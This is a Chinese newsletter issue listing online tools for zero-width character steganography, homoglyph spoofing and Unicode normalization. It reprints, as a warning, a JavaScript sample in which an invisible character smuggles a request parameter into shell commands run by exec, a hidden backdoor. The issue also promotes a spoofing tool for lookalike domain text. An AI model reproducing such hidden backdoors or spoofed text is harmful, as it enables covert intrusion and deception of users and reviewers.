Skip to content

Latest commit

 

History

History
227 lines (134 loc) · 14.2 KB

issue-10.md

File metadata and controls

227 lines (134 loc) · 14.2 KB

好工具周刊(第 10 期): 【特别篇】写在第 10 期,对于这个周刊的思考, 不可见零宽字符 (invisible zero-width characters) 相关工具

发现并分享有趣,有创意,免费、好用的工具,每周四发布。由 BestXTools 创作。


上一期内容 | 下一期内容 | 往期内容 | RSS 订阅 | 邮箱订阅 | 微信订阅 | 工具推荐 | 评论


写在第 10 期,对于这个周刊的思考

时间过得很快,好工具周刊已经更新到第 10 期了。从第 1 期更新到现在经过了两个多月,一共分享了 70 个工具(每期 7 个)。截止发稿时间,竹白平台的订阅者已有 747 人, GitHub 上面获得 61 个 stars。RSS 订阅数具体不知道有多少,从服务器日志看,看起来还挺多。在网站直接阅读的量也不少。没有做很多的的宣传,目前这个成绩还是很满意的。

开始做这个周刊,是因为平时经常看到有趣或很实用的工具,觉得只是放到收藏夹里,实在太可惜了。如果把它们分享出来,既能帮到别人,还能促使自己寻找更多好玩的工具,还可以从中获得更多的启发。如果能得到其他读者朋友们的投稿,社区会员们的参与讨论,还会发现更多好玩的工具。怀着对这个美好的良性循环的希望,决定开始这个旅程,坚持把这个周刊做下去,看看都会发生什么事情,发现什么东西。

起初,也考虑过做成博客或工具导航的形式。但是觉得这些形式可能会无法坚持做到定期定量地输出。周刊这种形式就不同了,它与读者们约定了每周四更新,每期推荐 7 个工具,这就能保证会做到定期定量地输出。每期为什么推荐 7 个工具呢?如果是 5 个以下,内容太少,如果是 10 个以上,读者们可能没有耐心全看完。很喜欢 “7” 这个数字,数量也刚刚好,不多不少,一周 7 天,每天 1 个。每期找 7 个工具,压力也不是很大。一年积累下来,也有 365 个工具了,收获不少了。

目前周刊同时发布在 3 个平台,GitHub, BestXTools 社区竹白 newsletter

  1. GitHub: 可以通过 watch 方式订阅。选择这个平台,第一是因为对内容修改历史记录的需要,第二是因为采用 Markdown 写稿,第三是因为周刊的主要对象是程序员,所以把这个周刊的 repo 设置为公开的,让大家可以用 watch 方式订阅,或 star 收藏。
  2. 竹白 newsletter: 可以通过邮箱,微信小程序订阅。选择这个平台的主要原因是它提供邮箱,微信小程序订阅的功能。
  3. BestXTools 社区: 可以通过 RSS 订阅。这是一个 Flarum 搭建的轻社区。周刊发布在这上面,是因为上面两个平台对 RSS 和评论功能的缺失。还有一点很重要,就是希望为读者们提供一个分享工具,寻找工具的交流平台。

周刊每期推荐的 7 个工具,都是免费,无需注册,好用的在线工具。其他类型的工具,比如,桌面应用,手机应用,小程序,浏览器插件等,暂时还没有精力放进周刊里,以后再说。这种类型的工具大家可以在 BestXTools 社区分享讨论。

关于周刊的思考就写到这里,希望大家继续关注,支持《好工具周刊》。


由于是特别篇,本期推荐的工具与文章跟以往不同,来一个针对特定主题的推荐。

这期的主题是“不可见零宽字符 (invisible zero-width characters)”。


🌈 在线工具

一个使用不可见零宽字符实现的在线信息隐写器。可以把私密的文字隐藏起来,分享给别人或评论里。

比如下面这段文字, 复制到 https://neatnik.net/steganographr/ 解密。

欢迎订阅好‌‌​‌​​​⁠‌‌‌​‌​​⁠‌‌‌​‌​​⁠‌‌‌​​​​⁠‌‌‌​​‌‌⁠‌‌‌​‌​⁠‌​‌‌‌‌⁠‌​‌‌‌‌⁠‌‌​​​‌​⁠‌‌​​‌​‌⁠‌‌‌​​‌‌⁠‌‌‌​‌​​⁠‌‌‌‌​​​⁠‌‌‌​‌​​⁠‌‌​‌‌‌‌⁠‌‌​‌‌‌‌⁠‌‌​‌‌​​⁠‌‌‌​​‌‌⁠‌​‌‌‌​⁠‌‌‌‌​‌​⁠‌‌​‌​​​⁠‌‌‌​‌​‌⁠‌‌​​​‌​⁠‌‌​​​​‌⁠‌‌​‌​​‌⁠‌​‌‌‌​⁠‌‌​‌‌​​⁠‌‌​‌‌‌‌⁠‌‌‌​‌‌​⁠‌‌​​‌​‌⁠‌​‌‌‌‌工具周刊。

链接: https://neatnik.net/steganographr/

源码: https://github.com/neatnik/steganographr

Steganographr Steganographr

与上面 Steganographr 类似的信息隐写工具。支持把二进制文件隐写到信息里。

链接: https://330k.github.io/misc_tools/unicode_steganography.html

备用链接:

源码: https://github.com/330k/misc_tools

Unicode Steganography with Zero-Width Characters Unicode Steganography with Zero-Width Characters

国内开发者开发的与上面两款类似的信息隐写工具。可以指定加密信息隐藏在文字窜的哪个位置。

链接: http://zero.rovelast.com/

源码: https://github.com/rover95/morse-encrypt

零宽字符隐藏加密 零宽字符隐藏加密

一个极其简单的工具,只有一个按钮,点击按钮会复制一个零宽空格到剪切板里。把网站放到收藏夹里,想要输入一个零宽空格时会用得着。

链接: https://zerowidthspace.me/

ZWSP | copy a zero-width space to your clipboard

零宽短网址生成工具。生成的“短”网址居然只能看到域名。

比如这个链接(https://zws.im/󠁭󠁪󠁲󠁥󠁰󠁰󠁲),点击看看会去哪里。

链接: https://zws.im/

源码: https://github.com/zws-im/zws

Zero Width Shortener

利用这个工具,可以将字母,标点符号,空格替换(伪造)为其他 Unicode 同形文字。还可以在每个字符后面自动加上零宽空格。肉眼很难识别出来。

比如这两行字符串,其实不一样,能区分出来吗?

好工具周刊 BestXTool.com
好工具周刊 ​ВеѕtХТооl․соm

这里的 ВеѕХТос․ 都不是常规的英文字母和句号。

这个工具的用途发挥自己的想象力吧。

链接: https://onlineunicodetools.com/spoof-unicode-text

Spoof Unicode Text

这个工具可以把 fancy Unicode 文字转成一般文字。 比如把 "𝔹𝕖𝕤𝕥𝕏𝕋𝕠𝕠𝕝𝕤.𝕔𝕠𝕞", "ⒷⓔⓢⓣⓍⓉⓞⓞⓛⓢ.ⓒⓞⓜ" 等转成 "BestXTools.com"。

这个工具还可以把上一个工具伪造的文字,还原成一般文字,把零宽字符识别出来,替换成 ' 符号。

链接: https://onlineunicodetools.com/normalize-unicode-text

Normalize Unicode Text Normalize Unicode Text

很多程序员都喜欢做一个工具箱。平时也会经常用到各种工具。这里收集了一些国内外好用的在线工具箱。

链接:

欢迎点赞,收藏,投稿


🌈 文章 & 资源分享

  • The Invisible JavaScript Backdoor - Certitude Blog

    使用不可见零宽字符或同形字符(易混淆字符)可以写出很难发现的后门程序。了解其中的玄机,小心项目被人恶意地提交了这种代码。

    下面是这篇文章的示例代码:(Code review 真的很难发现其中的问题)

const express = require("express");
const util = require("util");
const exec = util.promisify(require("child_process").exec);

const app = express();

app.get("/network_health", async (req, res) => {
  const { timeout,ㅤ} = req.query;
  const checkCommands = [
    "ping -c 1 google.com",
    "curl -s http://example.com/",ㅤ
  ];

  try {
    await Promise.all(
      checkCommands.map(
        (cmd) => cmd && exec(cmd, { timeout: +timeout || 5_000 })
      )
    );
    res.status(200);
    res.send("ok");
  } catch (e) {
    res.status(500);
    res.send("failed");
  }
});

app.listen(8080);

🌈 工具推荐

如果你有什么好玩的工具,可以是你做的或知道的,欢迎推荐。

要求:

  • 在线工具
  • 免费
  • 无需注册

推荐方式:


以上,便是本期全部内容。感谢你阅读到这里,下期见!

好工具周刊同时发布到三个平台,订阅方式提供多种选择。

欢迎交流,投稿,订阅。


上一期内容 | 下一期内容 | 往期内容 | RSS 订阅 | 邮箱订阅 | 微信订阅 | 工具推荐 | 评论